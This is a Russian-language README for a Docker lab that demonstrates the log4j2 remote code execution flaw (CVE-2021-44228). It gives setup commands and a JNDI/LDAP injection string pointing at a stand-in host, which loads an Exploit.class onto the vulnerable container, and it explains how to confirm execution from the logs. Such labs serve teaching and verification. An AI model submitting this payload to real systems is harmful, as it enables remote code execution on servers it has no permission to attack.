
log4j2 CVE-2021-44228 POC
Это проект для практической проверки уязвимости удаленного выполнения кода в log4j2 (CVE-2021-44228).
docker-compose up
Контейнеру log4j требуется некоторое время, чтобы стать доступным после запуска. Проверьте статус с помощью следующей команды:
docker logs -f log4j
Когда появится сообщение Server started: Listening on port 8081, контейнер готов к работе.
Проверьте содержимое каталога /root в контейнере log4j:
docker exec log4j ls /root
В исходном состоянии присутствует только каталог work.
Откройте http://localhost:8081/. Это простое приложение, которое выводит введенное в форму имя на экран и в лог.
Введите ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} в форму и отправьте.
Снова проверьте каталог /root контейнера log4j:
docker exec log4j ls /root
Должен выполниться подготовленный злоумышленником код, и будут созданы файлы, которых ранее не было. Имена файлов содержат временные метки, поэтому с каждой атакой будет появляться новый файл.
Просмотрев логи контейнера ldap, вы увидите, что из контейнера log4j пришел SEARCH запрос:
docker logs ldap
Просмотрев логи tomcat в контейнере web, вы увидите, что из контейнера log4j был запрос к Exploit.class (классу, используемому для атаки):
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*